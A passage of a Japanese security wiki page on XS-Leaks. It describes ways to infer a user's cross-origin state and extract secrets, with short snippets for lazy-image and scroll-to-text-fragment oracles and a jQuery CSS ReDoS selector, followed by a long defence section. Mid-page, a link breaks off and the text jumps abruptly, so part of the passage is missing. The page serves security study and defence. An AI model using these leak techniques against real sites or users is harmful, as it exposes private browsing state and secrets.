* **コード例**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

`iframe`や`window.open`を通じて開かれた**ウェブ上のフレーム数をカウントする**ことで、そのページにおける**ユーザーの状態を特定する**のに役立つ場合がある。\
さらに、ページが常に同じ数のフレームを持っている場合、フレーム数を**継続的に**チェックすることで、情報を**漏洩**させる可能性のある**パターン**を特定するのに役立つかもしれない。

この技術の例として、Chromeでは、内部で`embed`が使用されているため、**PDF**を**フレームカウント**で**検出**することができる。`zoom`、`view`、`page`、`toolbar`などのコンテンツを一部制御できる[Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)があり、この技術が興味深い場合がある。

### HTMLElements

* **含有方法**: HTML要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **概要**: 漏洩した値を読み取り、2つの可能な状態を区別する
* **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

一部のウェブページでは、ユーザー情報に応じて**動的にメディアファイルを生成**したり、メディアのサイズを変更する透かしが追加されることがある。攻撃者は、これらのHTML要素によって漏洩された情報を使用して、可能な状態を区別することができる。

いくつかのHTMLElementsは、クロスオリジンに対してメディアの種類などの情報を漏洩する:

* [HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement) はメディアの`duration`と`buffered`時間を漏洩する。
* [HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement) は`videoHeight`と`videoWidth`を漏洩する。一部のブラウザでは`webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount`、`webkitDecodedFrameCount`もある。
* [getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality) は`totalVideoFrames`を漏洩する。
* [HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement) は`height`と`width`を漏洩するが、画像が無効な場合は0になり、[`image.decode()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/decode)は拒否される。

### CSSプロパティ

* **含有方法**: HTML要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **概要**: ユーザーの状態に応じてウェブサイトのスタイリングを検出する。
* **コード例**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

ウェブアプリケーションは、**ユーザーの状態に応じてウェブサイトのスタイリングを変更する**ことがある。クロスオリジンのCSSファイルは、攻撃者ページに**HTMLリンク要素**を使用して埋め込むことができ、**ルール**は攻撃者ページに**適用される**。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの**違いを検出**することができる。\
漏洩技術として、攻撃者は`window.getComputedStyle`メソッドを使用して特定のHTML要素の**CSSプロパティを読み取る**ことができる。その結果、影響を受ける要素とプロパティ名がわかっていれば、攻撃者は任意のCSSプロパティを読み取ることができる。

### CSS履歴

* **含有方法**: HTML要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **概要**: URLに`:visited`スタイルが適用されているかどうかを検出し、それが既に訪問されたことを示す
* **コード例**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
[**これ**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)によると、headless Chromeでは機能しない。
{% endhint %}

CSSの[`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)セレクターを使用すると、訪問済みのURLに異なるスタイルを適用することができる。\
以前は[`getComputedStyle()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)を使用してこの違いを検出することができたが、現在のブラウザーはリンクが訪問されたかのように常に値を返し、セレクターを使用して適用できるスタイルを制限することでこれを防いでいる。\
したがって、CSSが影響を与えた領域をユーザーにクリックさせるようにだます必要があるかもしれない。これは[`mix-blend-mode`](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)を使用して行うことができる。\
ユーザーの操作なしで行う方法もあり、レンダリングのタイミングを悪用することで可能である。これは、リンクを異なる色で塗るのに時間がかかるためである。\
chromiumレポートには、複数のリンクを使用して時間差を増やすことで機能するPoCが提供されている。

### ContentDocument X-Frame Leak

* **含有方法**: フレーム
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **概要**: GCでは、**X-Frame-Optionsのためにクロスオリジンページに埋め込むことが許可されていないページは、代わりにエラーページが表示される**。
* **コード例**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

Chromeでは、**X-FrameOptions**（XFO）ヘッダーがdenyまたはsame-originに設定されているため、クロスオリジンページに埋め込むことが許可されていないページの場合、代わりに**エラーページが表示される**。オブジェクトの場合、このエラーページは`contentDocument`プロパティをチェックすることで**検出できる**。通常、このプロパティはnullを返す。なぜなら、クロスオリジンの埋め込みドキュメントへのアクセスは許可されていないからである。しかし、**Chromeのエラーページのレンダリング**のために、代わりに**空のドキュメントオブジェクト**が返される。これはiframeや他のブラウザでは機能しない。開発者はすべてのページにX-Frame-Optionsを設定することを忘れがちであり、特にエラーページはこのヘッダーが欠けていることが多い。漏洩技術として、攻撃者はそれをチェックすることで異なるユーザー状態を区別することができるかもしれない。

### ダウンロード検出

* **含有方法**: フレーム、ポップアップ
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **概要**: 攻撃者はiframeを使用してダウンロードを検出できる。iframeがまだアクセス可能であれば、ファイルがダウンロードされた。
* **コード例**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

`Content-Disposition`ヘッダー([`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition))は、ブラウザがコンテンツをダウンロードするか、インラインで表示するかを示す。

ログインしたユーザーのみがヘッダーを使用してファイルをダウンロードする**ページにアクセスできる場合**、その動作を検出することが可能である。

#### ダウンロードバー <a href="#download-bar" id="download-bar"></a>

Chromiumベースのブラウザでは、ファイルがダウンロードされると、ブラウザウィンドウに統合された下部にダウンロードプロセスのプレビューが**表示される**。**ウィンドウの高さを監視する**ことで、攻撃者は「ダウンロードバー」が開かれたかどうかを検出できる。

#### ダウンロードナビゲーション（iframeを使用） <a href="#download-navigation-with-iframes" id="download-navigation-with-iframes"></a>

[`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)ヘッダーをテストする別の方法は、**ナビゲーションが発生したかどうかをチェックする**ことである。ページのロードがダウンロードを引き起こす場合、ナビゲーションはトリガーされず、**ウィンドウは同じオリジン内に留まる**。

#### ダウンロードナビゲーション（iframeなし） <a href="#download-navigation-without-iframes" id="download-navigation-without-iframes"></a>

前述の技術と同じだが、iframeの代わりに`window.open`を使用する。

### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

* **含有方法**: ポップアップ
* **検出可能な違い**: タイミング
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **概要**: 攻撃者はiframeを使用してダウンロードを検出できる。iframeがまだアクセス可能であれば、ファイルがダウンロードされた。
* **コード例**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

{% hint style="warning" %}
この技術が興味深い理由は次のとおりである: Chromeには現在**キャッシュパーティショニング**があり、新しく開かれたページのキャッシュキーは`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`であるが、ngrokページを開いてそこでfetchを使用すると、キャッシュキーは`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`となり、**キャッシュキーが異なる**ため、キャッシュを共有することはできない。詳細はこちらで確認できる: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
(コメントは[**こちら**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-
```html
<img src=/something loading=lazy >
```
したがって、行うことができるのは、**たくさんのジャンク文字を追加することです**（例えば、**何千もの「W」**）を**秘密の前にウェブページを埋めるために追加するか、**`<br><canvas height="1850px"></canvas><br>`のようなものを追加します。\
例えば、**インジェクションがフラグの前に表示される場合**、**画像**は**ロードされます**が、**フラグの後に表示される場合**、フラグ + ジャンクが**ロードされるのを防ぎます**（どれだけのジャンクを配置するかを調整する必要があります）。これは[**このライトアップ**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)で起こったことです。

別のオプションは、許可されている場合は**scroll-to-text-fragment**を使用することです：

#### Scroll-to-text-fragment

しかし、以下のようなもので**ボットがページにアクセスする**ようにします：
```
#:~:text=SECR
```
ウェブページは次のようになります：**`https://victim.com/post.html#:~:text=SECR`**

ここで、post.htmlには攻撃者のジャンク文字と遅延読み込み画像が含まれ、その後にボットの秘密が追加されます。

このテキストは、ページ内の`SECR`というテキストを含む任意のテキストにボットがアクセスするようにします。そのテキストが秘密であり、**画像の直下**にあるため、**推測された秘密が正しい場合にのみ画像が読み込まれます**。したがって、秘密を文字ごとに**抽出するためのオラクル**を手に入れたことになります。

この技術を利用するコード例：[https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### 画像の遅延読み込み時間ベース

外部画像を読み込むことが**不可能な場合**、画像が読み込まれたことを攻撃者に示すことができる別の方法は、**複数回文字を推測してその時間を測定する**ことです。画像が読み込まれると、画像が読み込まれない場合よりもすべてのリクエストに時間がかかります。これは、[**このライトアップの解決策**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)で使用されたもので、**ここに要約されています：**

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS

`jQuery(location.hash)`が使用されている場合、タイミングを通じて**HTMLコンテンツの存在を確認する**ことが可能です。これは、セレクタ`main[id='site-main']`が一致しない場合、残りの**セレクタ**をチェックする必要がないためです。
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### CSSインジェクション

{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}

## 防御

このセクションでは、[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)で推奨されている緩和策の一部を見つけることができますが、wikiの各セクション[https://xsleaks.dev/](https://xsleaks.dev/)にはさらに多くの緩和策があります。これらの技術に対する保護についての詳細は、そちらをご覧ください。

### 組み込み方法の緩和策

* **HTML要素**。**CORPヘッダーを使用して、ページがリソースを埋め込むことができるかを制御**できます。CORPはsame-originまたはsame-siteに設定でき、それぞれのリソースへのcross-originまたはcross-siteリクエストをブロックします。**クライアントサイト**では、Chromiumベースのブラウザーは**CORB**アルゴリズムを使用して、cross-originリソースリクエストを許可または拒否するかを決定します。
* **フレーム**。**iframe**要素がHTMLリソースをロードするのを防ぐ主な防御策は、**X-Frame-Options**の使用です。代わりに、**CSPディレクティブframe-ancestors**も同様の結果を達成できます。埋め込みが拒否された場合、組み込み方法は応答に違いを検出できません。
* **ポップアップ**。`window.opener`へのアクセスを制限するために、**COOP HTTPレスポンスヘッダー**は3つの異なる値を定義します：unsafe-none（デフォルト）、same-origin-allow-popups、およびsame-origin。これらの値は、**ブラウジングタブとポップアップを分離**するために使用でき、ポップアップに基づくリーク技術を緩和します。
* **JavaScriptリクエスト**。Cross-origin JavaScriptリクエストは、攻撃者が発行するリクエストを細かく制御できるため、XS-Leak攻撃でよく使用されます。ただし、これらのリクエストはCORSが有効になっていないため、スクリプトや画像などのHTML要素によって送信されるリクエストと同じ制限が適用されます。したがって、このリーク技術の影響も**CORPとCORBによって緩和**されます。

より一般的な方法：

* **Fetchメタデータ**。これらのリクエストヘッダーにより、サーバーの所有者は、ユーザーのブラウザーが特定のリクエストをどのように引き起こしたかをよりよく理解できます。Chromeでは、Sec-Fetch-\*ヘッダーが各リクエストに自動的に追加され、リクエストの出所に関するメタデータを提供します。たとえば、Sec-Fetch-Dest: imageは画像要素からトリガーされました。その後、Webアプリケーションはその情報に基づいてリクエストをブロックすることを選択できます。
* **Same-Siteクッキー**。Same-Siteクッキーフラグを使用すると、ウェブサイトは**クッキーをsame-siteまたはfirstpartyコンテキストに制限するかどうかを宣言**できます。すべての主要なブラウザーはSame-Siteクッキーをサポートしています。GCでは、属性がないクッキーはデフォルトでLaxになります。XS-Leaksにとって、**Same-Siteクッキーはリーク攻撃の可能性を大幅に制限します**。一方で、**`window.open`に依存するリーク技術は`SameSite=Lax`でも機能します**。クライアントサイド証明書やHTTP認証など、**他の認証**方法を使用するウェブサイトは**引き続き脆弱です**。
* **Cross-Origin Identifier Unlinkability (COIU)**。COIU、またはFirst-Party Isolation (FPI)としても知られている、はFFのエキスパート設定（about:config）でユーザーが有効にできるオプションのセキュリティ機能であり、元々はTorブラウザーで導入されました。抽象的な視点では、拡張されたsame-siteコンテキストです。それは**複数のリソース**（例えば、クッキー、キャッシュ、クライアントサイドストレージ）を**first-partyにバインド**し、すべての訪問したウェブサイト間で共有するのではなくします。有効にすると、COIUはXS-Leaksの適用性を大幅に減少させます。ポリシーのfirst-party要件に適合する方法はポップアップを使用するものだけです。
* **トラッキング保護**。AppleはSAに**Intelligent Tracking Prevention (ITP)**と呼ばれるプライバシーメカニズムを実装しました。これは、クッキーや他のWeb APIの機能を制限することによって、クロスサイトトラッキングと戦うことを目的としています。SAの新しいバージョンでは、ITPは例外なしにすべてのサードパーティクッキーをデフォルトでブロックします\[74]。このブロックは、ポップアップに基づかないすべてのリークを防ぎます。FFはEnhanced Tracking Prevention (ETP)という類似のアプローチを取りましたが、トラッキングプロバイダーに属する特定のサードパーティクッキーのみをブロックします。XS-Leaksのコンテキストでは、ETPはこれらのトラッキングドメインを対象とするリーク技術のみを緩和します。
* **ブラウザ拡張機能**。セキュリティに意識の高いユーザーは、**特定の組み込み方法を防ぐためにブラウザ拡張機能を使用**できます。

### リーク技術の緩和策

* **イベントハンドラー**。このリーク技術に対する**最も効果的な緩和策**は、**すべてを拒否する**ことですが、これはインターネット上のほとんどのWebアプリケーションを壊してしまいます。したがって、イベント内で収集できる情報の量を**減らすことを提案します**。たとえば、CSP違反イベントは、blockedURIフィールドにリダイレクト先のURLを含まないようにするべきです。この動作はFFとGCの新しいバージョンで実装されています - SAのみが脆弱のままです。
* **エラーメッセージ**。エラーメッセージに基づくXS-Leaksを緩和するためには、2つの主要な要件があります。まず、**エラーメッセージには詳細な情報を含まない**ようにする必要があります。これはイベントハンドラーメッセージと同様です。次に、ブラウザは**エラーメッセージの発生を最小限に抑える**必要があります。SRIエラー、ContentDocument XFO、Fetch RedirectなどのXS-Leaksは、エラーメッセージがスローされたかどうかを検出します。
* **グローバルリミット**。物理的な制限に依存するため、グローバルリミットを悪用するリーク技術を修正することは比較的複雑です。一般的な推奨事項は、**グローバルリミットをサイトごとに小さく制限する**ことです。グローバルリミットが1の場合、例えばPayment APIの場合、攻撃者はいつでもWebPayment UIを無音でアクティブ化しようとすることができますが、他のタブでUIが同時に使用されていない場合にのみ成功します。私たちは、信頼できるイベントが使用されたときにのみPayment APIにアクセスすることをお勧めします。この方法により、ユーザーが同意を提供するまでグローバルリミットはゼロに設定されます。たとえば、ダイアログウィンドウでの左クリックなどがグローバルリミットを1に設定します。
* **グローバルステート**。ブラウザのグローバルステートの**いかなるプロパティもアクセス可能であってはなりません**。たとえば、FFはリダイレクトが発生するとグローバルステートの履歴を更新する唯一のブラウザであり、その結果history.lengthを読み取ります。ブラウザはリダイレクトが発生したときに新しい履歴プロパティを作成するのではなく、グローバルに保存するべきではありません。他の例には、キャッシュなどの共有リソースがあります。キャッシュリークは、ブラウザで開かれているすべてのウェブサイトに使用される共有キャッシュを悪用します。キャッシュリーク技術を完全に緩和するためには、SA、GC、FFによって実装されているように、HTTPキャッシュをサイトごとに分割する必要があります。SAでは、iframeはキャッシュ分割の影響を受けないことに注意してください。
* **Performance API**。Performance APIは優れたリーク技術であることが証明されました。多くのXS-Leaksでは、cross-originリクエストのレスポンスにパフォーマンスエントリがあるかどうかの違いを検出できました。統一として、すべてのリクエストがそのようなエントリを作成し、cross-originリクエストに対してのみ正しいタイミング情報のサブセットが記録されることを確認することを推奨します。

## 参考文献

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

<details>

<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには、</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>

HackTricksをサポートする他の方法：

* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)です。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください**。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
世界で**最も先進的な**コミュニティツールを駆使して**ワークフローを簡単に構築し自動化**するには、[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用してください。\
今すぐアクセス：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}